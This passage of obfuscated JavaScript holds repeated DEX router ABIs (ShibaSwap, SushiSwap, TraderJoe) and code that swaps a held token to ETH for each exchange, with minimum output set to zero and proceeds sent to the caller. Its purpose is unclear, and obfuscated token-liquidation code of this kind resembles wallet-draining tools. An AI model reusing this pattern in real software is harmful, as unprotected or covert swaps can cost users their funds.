type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x682c2b = new ethers.Contract(_0x2b7b1b, _0xa762bb, _0x9d9505);
let _0x31f69c = await _0x682c2b.WETH();
let _0x4d635b = [];
_0x4d635b[0] = _0x4f37a4.asset.token;
_0x4d635b[1] = _0x31f69c;
return [_0x682c2b.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x4d635b, this.caller, _0x1b1427), _0x31f69c];
}
case "ShibaSwap":
{
let _0x5e7947 = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WETH",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsIn",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapETHForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x19e9b7 = new ethers.Contract(_0x2b7b1b, _0x5e7947, _0x9d9505);
let _0xf80e0c = await _0x19e9b7.WETH();
let _0x459a00 = [];
_0x459a00[0] = _0x4f37a4.asset.token;
_0x459a00[1] = _0xf80e0c;
return [_0x19e9b7.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x459a00, this.caller, _0x1b1427), _0xf80e0c];
}
case "SushiSwap":
{
let _0x269050 = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WETH",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsIn",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapETHForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x2863aa = new ethers.Contract(_0x2b7b1b, _0x269050, _0x9d9505);
let _0x347138 = await _0x2863aa.WETH();
let _0x5e16ae = [];
_0x5e16ae[0] = _0x4f37a4.asset.token;
_0x5e16ae[1] = _0x347138;
return [_0x2863aa.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x5e16ae, this.caller, _0x1b1427), _0x347138];
}
case "TraderJoeV1":
{
let _0x4bcdc6 = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WAVAX",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WAVAX",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityAVAX",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsIn",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
